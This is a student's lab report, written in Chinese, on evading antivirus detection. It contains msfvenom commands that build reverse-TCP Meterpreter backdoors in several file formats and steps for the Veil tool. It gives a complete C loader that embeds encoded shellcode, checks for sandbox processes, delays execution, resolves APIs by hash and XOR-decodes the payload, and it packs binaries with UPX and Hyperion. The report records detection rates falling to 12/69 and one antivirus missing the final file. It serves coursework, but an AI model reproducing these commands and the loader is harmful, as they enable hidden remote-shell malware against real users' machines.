1.实验内容
1.1本周学习内容
-
Metasploit 框架使用
-
C语言编程与Shellcode集成
-
跨平台编译技术
-
加壳与免杀技术
1.2回答问题
1.2.1杀毒软件如何检测恶意代码?
杀毒软件采用多种技术手段综合判断,主要方法包括:
-
特征码检测
- 原理:将恶意软件中独一无二的代码序列(特征码/指纹)存入数据库。扫描时进行比对,匹配则报毒。
- 特点:准确率高,但无法检测未知或修改过的恶意软件。
-
启发式分析
- 原理:分析代码的指令和行为模式(如“加密文件”+“索要赎金”)而非精确匹配。分为静态启发(不运行)和动态启发(在沙箱中运行观察)。
-
行为监控
- 原理:在程序运行时监控其关键操作(如修改注册表、注入进程)。一旦行为符合恶意模式,立即拦截。
- 特点:能有效防御未知威胁。
-
云查杀
- 原理:将可疑文件信息上传至云端服务器进行分析,利用云端的强大算力和庞大样本库进行实时判定。
-
机器学习/人工智能检测
- 原理:使用大量样本训练AI模型,使其能从文件结构、API调用等特征中识别新型恶意软件。
1.2.2免杀是做什么?
免杀 的核心目标是逃避杀毒软件的检测。
- 攻击者通过修改、混淆或重写恶意软件,使其无法被杀毒软件识别,从而在目标系统上隐蔽运行。
- 本质是攻击者与防御者之间持续的技术对抗。
1.2.3免杀的基本方法有哪些?
免杀技术围绕“欺骗”杀软的检测方法而发展,具体对应关系如下:
| 针对的检测技术 | 免杀方法 | 说明 |
|---|---|---|
| 特征码检测 | 加壳/压缩 | 使用工具(如UPX)压缩/加密代码,改变文件指纹。 |
| 加密/编码 | 用解密代码包裹恶意载荷,静态扫描时无法识别。 | |
| 代码混淆 | 重写代码、插入无用指令,改变哈希值和结构。 | |
| 启发式/行为分析 | 分离免杀 | 将恶意功能拆分,各部分单独看似无害。 |
| 延时执行 | 运行后不立即作恶,等待特定条件以绕过沙箱分析。 | |
| 环境感知 | 检测自身是否在虚拟机/沙箱中,如果是则停止恶意行为。 | |
| 行为监控 | 合法软件滥用 | 利用系统信任的程序(如PowerShell)加载恶意代码,掩盖恶意行为(亦称LOLbins)。 |
| 综合隐匿 | 通信隐匿 | 使用加密通道(HTTPS)或伪装成正常流量(DNS隧道)隐藏通信。 |
2.实验过程
2.1前置条件
-
本次实验采用的检测平台为https://www.virustotal.com/
-
本次实验参考基准为msf平台正常生成的exe文件,exe文件来自实验二中的backdoor文件,通过检测平台检测结果如下,为
41/72

2.2几种不同的文件类型反查效果
- 准备文件如下

2.2.1动态链接库dll
-
输入
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.44.129 LPORT=2312 -f dll > 20232312_backdoor_windows.dll生成文件 -
结果如下

-
可以看到结果为
56/71效果不是很好
2.2.2检测jar包
-
输入
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.44.129 LPORT=2312 -f jar > 20232312_backdoor_java.jar生成文件 -
结果如下

-
可以看到结果为
35/66结果也是一般
2.2.3检测war包
-
输入
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.44.129 LPORT=2312 -f war > 20232312_backdoor_web.war生成文件 -
结果如下

-
可以看到结果为
20/64,效果有所提升
2.2.4检测PowerShell脚本
-
输入
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.44.129 LPORT=2312 -f psh > 20232312_backdoor_powershell.ps1生成文件 -
结果如下

-
可以看到结果为
33/62,效果一般
2.2.5检测php
-
输入
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.44.129 LPORT=2312 -f raw > 20232312_backdoor_php.php生成文件 -
结果如下

-
可以看到结果为
25/62,效果一般 -
但是在输入指令
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.44.129 LPORT=2312 -e php/base64 -i 3 -f raw > 20232312_backdoor_php_base64.php使用base64进行三次编码之后效果大幅提升,达到3/64

2.3使用免杀工具Veil
2.3.1配置环境
- 输入
sudo apt -y install veil下载veil - 输入
/usr/share/veil/config/setup.sh --force --silent安装
2.3.2配置veil
- 依次输入下方内容,完成生成文件配置
use 1
list//攻击方式
use 7//c语言负载的tcp反向
set LHOST 192.168.44.129
set LPORT 2312



2.3.3生成文件
- 输入
generate生成文件,测评结果为37/69,效果一般

2.4使用C语言调用Shellcode
2.4.1生成shellcode
- 输入,
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.44.129 LPORT=2312 -f c生成c语言代码

2.4.2写成C语言代码
- 补全代码如下

- 其中加入的
(*(void(*)())buf)();意思是生成了一个该函数指针并调用shellcode内容
2.4.3编译并测试
- 输入
i686-w64-mingw32-g++将其编译为.exe文件,测得结果如下

- 可以看到结果为
21/71,防杀效果一般
2.5加壳免杀
2.5.1基本概念
加壳是一种软件保护技术,通过对可执行文件进行压缩、加密和变形,使其难以被分析和检测。
加壳的基本原理:
1.压缩/加密:将原始代码加密或压缩
2.添加壳代码:在文件头部添加解压/解密程序(壳)
3.运行时还原:程序运行时,壳代码先执行,将原始代码还原到内存中
2.5.2使用UPX压缩加壳
- 对上一步文件进行加壳
upx c_shellcode.exe -o c_shellcode_upx.exe

- 可以看到结果为
29/72,甚至更高了,说明加壳之后被更多地标志出来。

2.5.3使用hyperion加密加壳
-
找到hyperion在此文件夹下

-
将需要加壳的文件拖入同一文件夹下之后输入以下命令进行加壳

wine hyperion.exe -v C_shellcode.exe C_shellcode_Hyp.exe

- 检测结果如图

- 结果为
37/71,效果不如upx
2.6综合攻击
2.6.1生成高度混淆的shellcode
msfvenom -p windows/meterpreter/reverse_tcp \ # 使用 Meterpreter 反向 TCP 载荷LHOST=192.168.44.129 \ # 攻击者的 IP 地址LPORT=2312 \ # 攻击者的监听端口-e x86/shikata_ga_nai \ # 使用 shikata_ga_nai 编码器-i 7 \ # 编码迭代 7 次-b '\x00\x0a\x0d' \ # 剔除坏字符(NULL、换行符等)-f c \ # 输出为 C 语言格式-o shellcode_encoded.c # 保存到文件
2.6.2创建高级 C 加载器
#include <windows.h>
#include <stdio.h>
#include <time.h>
#include <tlhelp32.h>// 加密的 Shellcode(替换为您生成的)
unsigned char encrypted_shellcode[] =
"\xba\xae\x90\xd9\x8f\xda\xdf\xd9\x74\x24\xf4\x5e\x29\xc9"
"\xb1\x82\x83\xee\xfc\x31\x56\x0e\x03\xf8\x9e\x3b\x7a\xde"
"\x45\x05\xc1\xfe\x9b\xd1\x13\x8a\x7f\xd2\xfe\x43\x49\xab"
"\x84\x92\x3b\xd4\xf9\x3e\x47\xe7\x8f\xee\x7a\xff\x1e\x99"
"\xc7\xfe\xdb\x9a\x79\xd8\x2d\xff\x21\xa1\xcc\x55\xdc\xe2"
"\x20\xf2\xf0\xd4\x3d\x5b\x03\x6c\xa9\x38\x41\x16\x82\x6b"
"\x96\x70\x3e\x83\x22\x12\xcb\xe0\x95\xe9\x97\x5d\xce\xa7"
"\x2c\x24\x42\x0c\x1d\xe2\x76\xcb\x4a\x64\x8b\x97\xe9\xc2"
"\xcb\xd5\xef\x71\x10\x15\xb9\x76\xeb\x9a\xce\x5f\xea\x4a"
"\x11\x9b\xf9\x87\xeb\x7e\x81\x44\x05\xfe\xd3\x53\x87\xe5"
"\x35\x09\x2f\x8c\x4d\xee\x3c\x2b\x5c\x02\x36\x24\x4a\x26"
"\x45\x58\xdb\xec\xa2\x1f\x94\x7c\xca\xfa\x27\x62\xee\x6f"
"\x19\xd5\xcd\xcf\x55\x57\x67\x35\xe2\x39\xff\x72\x1a\x0b"
"\x5b\xe7\x48\x46\xfb\x35\x86\x01\xfa\xe0\x7f\xd6\x76\xe7"
"\x46\x15\x65\x0f\x06\x3c\x81\x9d\x6b\xae\x5e\x96\xba\x96"
"\x28\xd6\xf1\xb8\x8e\x34\x8d\x96\x2f\xce\xed\xb1\x58\xe2"
"\x85\xb1\xb8\x5a\x94\x83\xe9\x28\xf9\xd0\x9c\x07\x6b\xea"
"\xa4\x67\x5b\xf4\xb1\x83\xee\x57\xb6\x7f\x11\x2b\x47\x08"
"\xc6\xfb\xe5\xe3\xa4\x55\xca\xec\x3e\x50\xc7\xb5\x16\x5f"
"\xc1\x4f\xa3\x5c\x5e\x56\x24\xbc\x7e\xa4\x74\x13\x02\xec"
"\x4e\x6e\xa3\xfa\x40\x86\xdd\xf2\x5e\x8f\x3b\x49\xab\xf3"
"\xcb\x3a\xc0\x59\x9b\xfd\x99\xca\xaf\xa3\x41\xb0\x21\x7b"
"\xe6\x6a\x3f\x43\xcb\x06\x04\xfd\x48\xe4\x39\xfa\xf6\xdb"
"\xfc\xbe\x0f\x55\xe4\x99\x51\xf7\xb5\x86\x74\x3b\xd8\x41"
"\x1f\x06\xbe\x72\x7c\x8d\x9e\x15\xff\xec\x62\xef\x85\x33"
"\x07\xb2\xb7\x65\x68\x81\x13\x7d\xb1\xf8\x47\x9f\x78\x56"
"\xd9\x11\x4e\xe3\x31\x81\xfb\xf7\xe2\x18\x76\x8a\x83\xda"
"\x77\x9f\x14\x4e\xb7\x22\xf1\x1b\x6b\xc8\x97\x54\xed\x7b"
"\xd4\xaa\x88\x8c\xe3\xc1\x72\x3a\xba\xc3\xdc\xb9\x83\x86"
"\x4f\xf3\x70\x4e\x40\x84\x3e\x8a\x1c\x26\x5e\x33\x0b\xcf"
"\xfa\x5d\xb4\x74\xd1\x1b\x44\x63\x24\xd4\xb7\xa4\x90\xd1"
"\x65\x0e\x25\x2f\x32\x76\xf5\xf3\x22\x61\xef\xc8\xe3\x91"
"\x23\x49\x66\xc3\xd9\xa3\xaa\xee\xab\xd5\x8d\x9b\xa1\x2d"
"\x31\x1f\xaa\x2f\x86\xe8\x7c\xda\x24\x45\xe0\x40\xb3\xeb"
"\xcd\xae\xb7\xb0\xc0\xae\x92\x42\x8e\x91\xde\x84\x5a\x8f"
"\x5b\x25\xfd\xa9\x52\x4b\xf3\x7e\xa2\xc2\x30\x51\x31\x69"
"\xf1\x88\xd9\x80\xf2\x25\x36\x21\x1d\xfb\xac\x7f\x96\xda"
"\xb7\x48\x05\x76\x55\x2f\x2e\x44\x28\x75\xc4\x29\x60\x4c"
"\x40\x6f\x91\xa7\x77\xf9\xcb\x63\x9b\x52\x61";// 动态生成 XOR 密钥(基于当前时间)
char* GenerateDynamicKey() {time_t now = time(NULL);static char key[32];snprintf(key, sizeof(key), "Key_%ld_%d", now, GetCurrentProcessId());return key;
}// 通过哈希动态解析 API(绕过静态导入表)
void* GetAPIByHash(DWORD hash) {HMODULE hModule = GetModuleHandleA("kernel32.dll");PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hModule;PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((DWORD_PTR)hModule + dos->e_lfanew);PIMAGE_EXPORT_DIRECTORY exports = (PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)hModule + nt->OptionalHeader.DataDirectory[0].VirtualAddress);DWORD* names = (DWORD*)((DWORD_PTR)hModule + exports->AddressOfNames);WORD* ordinals = (WORD*)((DWORD_PTR)hModule + exports->AddressOfNameOrdinals);DWORD* functions = (DWORD*)((DWORD_PTR)hModule + exports->AddressOfFunctions);for (DWORD i = 0; i < exports->NumberOfNames; i++) {char* name = (char*)((DWORD_PTR)hModule + names[i]);DWORD current_hash = 0;// 计算函数名哈希(简单算法)while (*name) {current_hash = (current_hash >> 13) | (current_hash << (32 - 13));current_hash += *name;name++;}if (current_hash == hash) {return (void*)((DWORD_PTR)hModule + functions[ordinals[i]]);}}return NULL;
}// 反沙箱检查 - 检测是否有调试器
BOOL AntiSandbox() {// 检查进程列表中的常见沙箱进程const char* sandbox_processes[] = {"vmsrvc.exe", "vmware.exe", "vboxservice.exe", "wireshark.exe", "procmon.exe", "sandboxie.exe"};HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (hSnapshot == INVALID_HANDLE_VALUE) return FALSE;PROCESSENTRY32 pe;pe.dwSize = sizeof(PROCESSENTRY32);if (Process32First(hSnapshot, &pe)) {do {for (int i = 0; i < sizeof(sandbox_processes)/sizeof(sandbox_processes[0]); i++) {if (_stricmp(pe.szExeFile, sandbox_processes[i]) == 0) {CloseHandle(hSnapshot);return TRUE; // 检测到沙箱}}} while (Process32Next(hSnapshot, &pe));}CloseHandle(hSnapshot);return FALSE;
}// 延迟执行(对抗沙箱的动态分析)
void RandomDelay() {srand(GetTickCount());int delay = 3000 + (rand() % 5000); // 3-8秒随机延迟Sleep(delay);
}int main() {// 反沙箱检查if (AntiSandbox()) {printf("[!] 沙箱环境检测,退出\n");return 1;}// 随机延迟RandomDelay();// 动态生成密钥char* key = GenerateDynamicKey();// 解密 Shellcodesize_t shellcode_len = sizeof(encrypted_shellcode);for (size_t i = 0; i < shellcode_len; i++) {encrypted_shellcode[i] ^= key[i % strlen(key)];}// 动态获取 Windows API(避免静态导入)typedef LPVOID (WINAPI *VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);VIRTUALALLOC pVirtualAlloc = (VIRTUALALLOC)GetAPIByHash(0xAEF2A191); // VirtualAlloc 的哈希typedef void* (WINAPI *MEMCPY)(void*, const void*, size_t);MEMCPY pMemcpy = (MEMCPY)GetAPIByHash(0x4BD1893E); // memcpy 的哈希// 分配可执行内存void* exec_mem = pVirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (!exec_mem) {printf("[-] VirtualAlloc 失败\n");return 1;}// 复制 ShellcodepMemcpy(exec_mem, encrypted_shellcode, shellcode_len);// 执行 Shellcode((void(*)())exec_mem)();return 0;
}

2.6.3编译为exe
x86_64-w64-mingw32-gcc advanced_loader.c -o av_bypass.exe \-s -O2 -fomit-frame-pointer -march=native \-Wl,--enable-stdcall-fixup -lwininet

2.6.4使用upx加壳
upx --best av_bypass.exe -o av_bypass_final.exe

2.6.5测试
- 可以看到,结果为
12/69,有大幅提升

2.6.6杀毒软件测试
- 可以看到,火绒扫描不出该程序的问题


3.问题及解决方案
- 问题1:在 Kali Linux 系统中尝试运行 Windows 可执行文件加密工具 Hyperion 时,Wine 报错提示缺少 32 位架构支持。具体错误信息包括:
it looks like wine32 is missing, you should install it
wine: failed to open L"C:\\windows\\syswow64\\rundll32.exe": c0000135
Failed to marshal the interface等 OLE/RPC 组件错误
- 问题1解决方案:启用多架构支持并安装 WineHQ
# 启用 i386 架构
sudo dpkg --add-architecture i386
sudo apt update# 添加 WineHQ 官方源
sudo wget -O /etc/apt/keyrings/winehq-archive.key https://dl.winehq.org/wine-builds/winehq.key
sudo tee /etc/apt/sources.list.d/winehq-bookworm.sources << EOF
Types: deb
URIs: https://dl.winehq.org/wine-builds/debian
Suites: bookworm
Components: main
Architectures: amd64 i386
Signed-By: /etc/apt/keyrings/winehq-archive.key
EOF# 安装 WineHQ 稳定版
sudo apt install -y winehq-stable:i386
-
问题2:实验过程中网卡无法连接
-
问题2解决方案:
进入编辑-虚拟网络编辑器-更改设置将网卡8改为仅主机再改为NAT即可
4.学习感悟、思考等
- 这周的网络安全实验让我对"纸上得来终觉浅"有了真切体会。最初看到msfvenom生成的十六进制代码时,只觉得是一串神秘字符,直到亲手将其嵌入C程序并编译执行,才真正理解shellcode的本质。同时,在跨平台编译过程中遇到的种种困难,尤其是加壳工具报错时的挫败感,反而成了最好的学习契机。为了解决问题,我不得不深入理解PE文件结构、内存权限管理等底层知识。实验中最让我深思的是安全边界的双重性。一方面,我为成功绕过基础防护而欣喜;另一方面,这种能力也让我意识到技术使用的责任感。真正的技术成长不仅是掌握攻击手段,更是培养防御思维和伦理意识。这次实验像一扇窗,让我窥见了网络安全的广阔天地。从一行行代码到完整的攻防思维,我学到的不仅是技术,更是一种系统化的思考方式。这条路还很长,但每一步实践都在夯实我前进的基础。